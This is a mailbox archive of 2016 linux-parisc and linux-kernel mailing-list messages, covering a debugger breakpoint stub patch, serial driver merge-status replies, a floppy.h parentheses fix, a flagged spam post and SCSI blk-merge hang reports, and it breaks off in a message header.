Subject: [PATCH 22/31] Add debugger entry points for PARISC
Date: Thu, 28 Jan 2016 12:47:21 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <1454010441-29307-1-git-send-email-jeffmerkey@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1454010472 7560 80.91.229.3 (28 Jan 2016 19:47:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Jan 2016 19:47:52 +0000 (UTC)
Cc: jejb@parisc-linux.org, deller@gmx.de, linux.mdb@gmail.com,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 28 20:47:43 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aOsXe-0003iw-LS
	for glk-linux-kernel-3@plane.gmane.org; Thu, 28 Jan 2016 20:47:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967875AbcA1Trc (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 28 Jan 2016 14:47:32 -0500
Original-Received: from mail-oi0-f68.google.com ([209.85.218.68]:32857 "EHLO
	mail-oi0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S967284AbcA1Tr0 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 28 Jan 2016 14:47:26 -0500
Original-Received: by mail-oi0-f68.google.com with SMTP id x141so2472867oia.0;
        Thu, 28 Jan 2016 11:47:25 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id;
        bh=ryLZG+oXGYGPdjkU2DrPZLF1KOucm2NYQdvCkbx72uQ=;
        b=E1DeJl8aWwW0eGsahytBpDHSihHH/1T1Jlc5A6nFOHhDzPSHym8vZ68Qv2aEQi8hD3
         oFzDGT93uw5YhKWC/QkWXkMnLuhRkQKED2mOypLcW1a66vIhTzkyGLAGrzMqCcmypa7r
         QMZIlmW252IlqOv/lSyxsIFLiRa+6ZzOQtsefLoTNpi5u2rJ8FBRJiFqc60oGI11HQo+
         UtCRzIFy46/VYz0W0ioevjxeg7/8KtmTLFJZJeJS6U+KyJw5Jfk39EcBGgs59PCxne2U
         hdwsUj0Q1qk6Og3qZvVnAxzxrMv5NJ2EMKsllkeJhd4x2uXzjUSbZi8dP6h3A1auNXgF
         g+mw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=ryLZG+oXGYGPdjkU2DrPZLF1KOucm2NYQdvCkbx72uQ=;
        b=FoD5AmvpcAS/wOvteLl/viLtVGXe62Poe1bBf7QtrkO14i3SKUxfIGQcBAT2YWf4d0
         5AjVD94Mp+ykvCX+uHYcxJwL7aFuBeyLUpAf/X5Ke1bMSpa5OPmtcn9OheAFQ9QjNEdT
         4z0TrJ2KGKQFiJEVMu67Gx1ded/usUhE++aN6Vo9N5qLIvipPKcrdxLQsW5x/TecvW9W
         Vyjh+ju27SlK2nnkhy7oNzfEQ5OoS83vK/DcTS7LjvGQPomP8P9pVA6UgX2tqL41wW2G
         oMGpZSK4kIb6IrHl1xqMkDltptP59JNuD5/0/WBIFqe/BSijBkHFQCh6Z+2FWfO/Dl/z
         2C9w==
X-Gm-Message-State: AG10YOQFWUQJMlPz8H5g4YaVlInP7kM0qByScK2mKzt4klyYdMm8pnAV0FIMuZ6Eridveg==
X-Received: by 10.202.202.10 with SMTP id a10mr315234oig.40.1454010444401;
        Thu, 28 Jan 2016 11:47:24 -0800 (PST)
Original-Received: from localhost.Home (97-126-249-174.slkc.qwest.net. [97.126.249.174])
        by smtp.googlemail.com with ESMTPSA id s3sm5115099obf.29.2016.01.28.11.47.22
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 28 Jan 2016 11:47:23 -0800 (PST)
X-Mailer: git-send-email 1.8.3.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2138827 gmane.linux.ports.parisc:26458
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2138827>

This patch series adds an export which can be set by system debuggers to
direct the hard lockup and soft lockup detector to trigger a breakpoint
exception and enter a debugger if one is active.  It is assumed that if
someone sets this variable, then an breakpoint handler of some sort will
be actively loaded or registered via the notify die handler chain.

This addition is extremely useful for debugging hard and soft lockups
real time and quickly from a console debugger.

Signed-off-by: Jeffrey Merkey <jeffmerkey@gmail.com>
---
 arch/parisc/include/asm/kdebug.h | 4 ++++
 1 file changed, 4 insertions(+)
 create mode 100644 arch/parisc/include/asm/kdebug.h

diff --git a/arch/parisc/include/asm/kdebug.h b/arch/parisc/include/asm/kdebug.h
new file mode 100644
index 0000000..5d09de1
--- /dev/null
+++ b/arch/parisc/include/asm/kdebug.h
@@ -0,0 +1,4 @@
+
+static inline void arch_breakpoint(void)
+{
+}
-- 
1.8.3.1



From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Anton Wuerfel" <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH v7 00/15] tty: serial: 8250: Fix checkpatch warnings
Date: Wed, 3 Feb 2016 15:40:09 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <ff62e385d45ea8755ffaa8495e4d5443.squirrel@faumail.uni-erlangen.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1454510436 15608 80.91.229.3 (3 Feb 2016 14:40:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Feb 2016 14:40:36 +0000 (UTC)
Cc: "Peter Hurley" <peter@hurleysoftware.com>,
	"Andy Shevchenko" <andriy.shevchenko@linux.intel.com>,
	"Phillip Raffeck" <phillip.raffeck@fau.de>,
	linux-serial@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	"Anton Wuerfel" <anton.wuerfel@fau.de>
To: "Greg Kroah-Hartman" <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 03 15:40:20 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aQybP-0000cL-CX
	for glpp-linux-parisc@plane.gmane.org; Wed, 03 Feb 2016 15:40:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752991AbcBCOkO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Feb 2016 09:40:14 -0500
Original-Received: from mx-rz-2.rrze.uni-erlangen.de ([131.188.11.21]:53574 "EHLO
	mx-rz-2.rrze.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751711AbcBCOkN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Feb 2016 09:40:13 -0500
Original-Received: from boeck1.rrze.uni-erlangen.de (boeck1.rrze.uni-erlangen.de [131.188.11.31])
	by mx-rz-2.rrze.uni-erlangen.de (Postfix) with ESMTP id 3pwQf22KcXzDMYh;
	Wed,  3 Feb 2016 15:40:10 +0100 (CET)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fau.de; s=fau-2013;
	t=1454510410; bh=MS2VUOSPzrT/3JRjVpRCs9n04kexeP8BZIeYnsFwPyw=;
	h=In-Reply-To:References:Date:Subject:From:To:Cc:From;
	b=h0QM7671oSkAvnGuhGqhWL0sPeh0O6J6tjhcoPWagM4FO1UULpamxOm8nOWMKr6S4
	 QGJNSbPGiS8soYaJNPqOwB8juqcjieYWyfofD1fnaK+qv3CV+zON0xx2tOwnYTXijz
	 yCkgWIMIcSX/T/4+vn//qyV/zzmjfHkFOaMtmOclVMr3Z7T6KktwAtxxMwnaD20Qa/
	 m5EA0HayPjn1+YTzWqD2abuf3xRjlwoNXqHHgz5RAbsNcjY/WxDwHwspznT2/frhV4
	 52esMmKb62qFFsVLaF6j5qnP9u3LFLKu48jhejGd6PQrJxXjXQf9waHVbMv055V/TS
	 +td+8yp6idpMw==
X-Virus-Scanned: amavisd-new at boeck1.rrze.uni-erlangen.de (RRZE)
Original-Received: from mx-rz-2.rrze.uni-erlangen.de ([131.188.11.21])
	by boeck1.rrze.uni-erlangen.de (boeck1.rrze.uni-erlangen.de [131.188.11.31]) (amavisd-new, port 10026)
	with LMTP id G0SPD4wJPJL4; Wed,  3 Feb 2016 15:40:09 +0100 (CET)
Original-Received: from mx-rz-smart.rrze.uni-erlangen.de (mx-rz-smart.rrze.uni-erlangen.de [IPv6:2001:638:a000:1025::1e])
	by mx-rz-2.rrze.uni-erlangen.de (Postfix) with ESMTP id 3pwQf14QxRzDMYY;
	Wed,  3 Feb 2016 15:40:09 +0100 (CET)
X-RRZE-Submit-IP: 131.188.11.38
Original-Received: from faumail.uni-erlangen.de (smtp.fau.de [131.188.11.38])
	by smtp.uni-erlangen.de (Postfix) with ESMTP id 3pwQf13Lc9zHqnk;
	Wed,  3 Feb 2016 15:40:09 +0100 (CET)
Original-Received: from 131.188.42.190
        by faumail.uni-erlangen.de with HTTP;
        Wed, 3 Feb 2016 15:40:09 +0100
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
User-Agent: SquirrelMail/1.4.23 [SVN]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26461 gmane.linux.serial:21891 gmane.linux.kernel:2143508
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26461>

Hello,

we noticed the patch series has not been merged yet to 4.5. Are there
still problems we have to address?

Regards
Anton Wuerfel
Phillip Raffeck



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: Re: [PATCH v7 00/15] tty: serial: 8250: Fix checkpatch warnings
Date: Wed, 3 Feb 2016 09:54:44 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20160203175444.GA24491@kroah.com>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
 <ff62e385d45ea8755ffaa8495e4d5443.squirrel@faumail.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1454522105 29918 80.91.229.3 (3 Feb 2016 17:55:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Feb 2016 17:55:05 +0000 (UTC)
Cc: Peter Hurley <peter@hurleysoftware.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	linux-serial@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Feb 03 18:54:58 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aR1dp-0004oT-Km
	for glk-linux-kernel-3@plane.gmane.org; Wed, 03 Feb 2016 18:54:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965248AbcBCRys (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 3 Feb 2016 12:54:48 -0500
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:51435 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933378AbcBCRyp (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 3 Feb 2016 12:54:45 -0500
Original-Received: from localhost (c-50-170-35-168.hsd1.wa.comcast.net [50.170.35.168])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 741F2FEE;
	Wed,  3 Feb 2016 17:54:44 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <ff62e385d45ea8755ffaa8495e4d5443.squirrel@faumail.uni-erlangen.de>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2143759 gmane.linux.serial:21898 gmane.linux.ports.parisc:26462
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2143759>

On Wed, Feb 03, 2016 at 03:40:09PM +0100, Anton Wuerfel wrote:
> Hello,
> 
> we noticed the patch series has not been merged yet to 4.5. Are there
> still problems we have to address?

I don't know, they are in my queue to be processed "soon"...

And they will not go into 4.5, that merge window is long closed, coding
style fixes like this are on the bottom of my list of things to be
reviewed, and are not "bug fixes" that affect people so they sometimes
take a long time to get merged.

thanks,

greg k-h


From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Use parentheses around expression in floppy.h
Date: Wed, 3 Feb 2016 20:54:56 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20160203195456.GA18035@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1454529319 23957 80.91.229.3 (3 Feb 2016 19:55:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Feb 2016 19:55:19 +0000 (UTC)
Cc: David Binderman <dcb314@hotmail.com>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 03 20:55:12 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aR3WB-000152-BN
	for glpp-linux-parisc@plane.gmane.org; Wed, 03 Feb 2016 20:55:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752166AbcBCTzK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Feb 2016 14:55:10 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:57907 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752151AbcBCTzK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Feb 2016 14:55:10 -0500
Original-Received: from p100.box ([92.203.31.101]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0MTBsk-1aaNCn0GH8-00S9Nl; Wed, 03 Feb 2016 20:54:59
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:y6Oj/L5JCg/aSqkSqSR8bD74GDFCECp9Ak1Fy2/GISaI6AUS7cI
 QbG2glyPM/HPhvDyv3bj0IxbptuLBTKAVebmAhjAQHrA8+y0Hi2vB3GZJSNx3AfKKEXNWz0
 fl9C1Pyy1FlNh4JGNjfwUt2Gwh3y90EwWbLzUu2Ktx3pmsNNcZMiEgShwYGCqRYJ1Gi7Kd4
 Jv+OtG0+qUr9ctvmS/ykg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ofG5Yq1ZRY0=:hJOKUgV6jYHCg8X7Ksnlbj
 iuoERNWRBKM9y7C9/NMnr97MBPRhDewPBj23cnoS8DhSFOIqZN02OLOdrzIwLVJzygPwzjGf3
 smFUFoQBLFotgrCgMBERLNiQFb7Mil5CszdwdKdqJW3Mxw3SQzlwgYhCKq1fXaXnr7vKLYS7P
 K2poKA0qviqO8AiUYkmadjeEexEuv73ClBopk7hIyI/+RoGtqHespXCNFcgZg0RXc6alg8KSs
 AXBQmc9QvMHYJQ8zU123Y44flEs08xsKQchCprglNtRuE58WPZ2hQEZ6C+d8aYMKXLbCGu5Fz
 SJ/OdHskVW3VI4gYjtmxbV8xgK5OvAUcYyPY80yVGijUZE+AzlS2hEf3PDmk4E+TfkAcbDWeJ
 WMVI0YDmShYXGAfvWjKK9n7GsGmJeFyAvTBIrpBlyItOHaYrPO0V5k66U3IDg6BIKs8FO4fBl
 iEDYWZxcJhAmvK4dFnbNVSW6quET4Fp2xvu4GbQt5I75h8PXFGnYzAxZrh17mwsqcEUwFtxdJ
 FcYh2f7S2lpkBH95YY8E/Abi/WIfWiVLuejxcAU1Tsv+eVSx0ZVywtnyUFzikzvz3NRJYUTd+
 su7q+APvQB4q9hguAEhWq7+FzER+RudcyZJY/reqXc/eWVN+uM/R0OT63sOqh+5rGNIF+Hpko
 7cEMD9OD3nNncik771OpWDi6IazjSrH8lsHVj735X1IO/CMENb68YVCVqbuE+Qx3r4udCNUxB
 D4Kf3GIuygeYfjNIiUugV7+8/W1FeOqAXlXlv4n6lquTW9kCJU56uA7aAt0=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26463
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26463>

David Binderman reported a style issue in the floppy.h header file:
arch/parisc/include/asm/floppy.h:221: (style) Boolean result is used in bitwise
  operation. Clarify expression with parentheses.

Reported-by: David Binderman <dcb314@hotmail.com>
Cc: David Binderman <dcb314@hotmail.com>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/floppy.h b/arch/parisc/include/asm/floppy.h
index f84ff12..6d8276cd 100644
--- a/arch/parisc/include/asm/floppy.h
+++ b/arch/parisc/include/asm/floppy.h
@@ -33,7 +33,7 @@
  * floppy accesses go through the track buffer.
  */
 #define _CROSS_64KB(a,s,vdma) \
-(!vdma && ((unsigned long)(a)/K_64 != ((unsigned long)(a) + (s) - 1) / K_64))
+(!(vdma) && ((unsigned long)(a)/K_64 != ((unsigned long)(a) + (s) - 1) / K_64))
 
 #define CROSS_64KB(a,s) _CROSS_64KB(a,s,use_virtual_dma & 1)
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: =?utf-8?Q?=D0=9A=D0=BB=D0=B8=D0=B5=D0=BD=D1=82=D1=81=D0?=
	=?utf-8?Q?=BA=D0=B8=D0=B5_=D0=B1=D0=B0=D0=B7=D1=8B!_=D0?=
	=?utf-8?Q?=A2=D0=B5=D0=BB=5CViber=5CWhatsapp=3A+791393935?=
	=?utf-8?Q?06__Skype=3Aprodawez389__Email=3Ausitnikov94=40?=
	=?utf-8?Q?gmail=2Ecom_=D0=A3=D0=B7=D0=BD=D0=B0=D0=B9=D1?=
	=?utf-8?Q?=82=D0=B5_=D0=BF=D0=BE=D0=B4=D1=80=D0=BE=D0=B1?=
	=?utf-8?Q?=D0=BD=D0=B5=D0=B5!!!?=
Date: Wed, 10 Feb 2016 16:21:56 +0600
Lines: 10
Approved: news@gmane.org
Message-ID: <40BB0FD06FBB94578B8EC7788CDD58F4@vger.kernel.org>
Reply-To: "linux-parisc@vger.kernel.org" <usitnikov94@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1455102634 26685 80.91.229.3 (10 Feb 2016 11:10:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Feb 2016 11:10:34 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 10 12:10:33 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aTSfI-0003Ay-1z
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Feb 2016 12:10:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753264AbcBJLKU convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Feb 2016 06:10:20 -0500
Original-Received: from static-200-94-75-212.alestra.net.mx ([200.94.75.212]:57745 "EHLO
	localhost.localdomain" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753247AbcBJLKU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Feb 2016 06:10:20 -0500
Original-Received: from 200.94.75.212 (localhost [IPv6:::1])
	by localhost.localdomain (Postfix) with SMTP id 7ABD688D2E7A
	for <linux-parisc@vger.kernel.org>; Wed, 10 Feb 2016 04:21:57 -0600 (CST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 6.2 points;
 *  2.9 TVD_SPACE_RATIO BODY: TVD_SPACE_RATIO
 *  2.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?200.94.75.212>]
 *  1.1 RCVD_IN_SORBS_WEB RBL: SORBS: sender is a abuseable web server
 *      [200.94.75.212 listed in dnsbl.sorbs.net]
Xref: news.gmane.org gmane.linux.ports.parisc:26464 gmane.spam.detected:5324489
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26464>

=D0=9A=D0=BB=D0=B8=D0=B5=D0=BD=D1=82=D1=81=D0=BA=D0=B8=D0=B5 =D0=B1=D0=B0=
=D0=B7=D1=8B! =D0=A2=D0=B5=D0=BB\Viber\Whatsapp:+79139393506  Skype:pro=
dawez389  Email:usitnikov94@gmail.com =D0=A3=D0=B7=D0=BD=D0=B0=D0=B9=D1=
=82=D0=B5 =D0=BF=D0=BE=D0=B4=D1=80=D0=BE=D0=B1=D0=BD=D0=B5=D0=B5!!!
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sat, 20 Feb 2016 15:13:04 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1455999199 5034 80.91.229.3 (20 Feb 2016 20:13:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Feb 2016 20:13:19 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 20 21:13:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXDtu-0003iS-36
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Feb 2016 21:13:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759356AbcBTUNI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Feb 2016 15:13:08 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:31262 "EHLO
	torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751946AbcBTUNH convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Feb 2016 15:13:07 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20160220201305.NKHH22640.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 20 Feb 2016 15:13:05 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by torspm02.bell.net
          with ESMTP
          id <20160220201305.XVIU18724.torspm02.bell.net@[192.168.2.10]>;
          Sat, 20 Feb 2016 15:13:05 -0500
In-Reply-To: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.56C8C8D1.0045,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26467
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26467>

On 2016-01-23, at 1:00 PM, John David Anglin wrote:

> WARNING: at block/blk-merge.c:454

With linux-image-4.4.0-1-parisc64-smp on c3740, the above warning is the last message I see.
Kernel seems to hang at that point.  This is warning code:

        /*
         * Something must have been wrong if the figured number of
         * segment is bigger than number of req's physical segments
         */
        WARN_ON(nsegs > rq->nr_phys_segments);

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sat, 20 Feb 2016 15:43:59 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net> <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
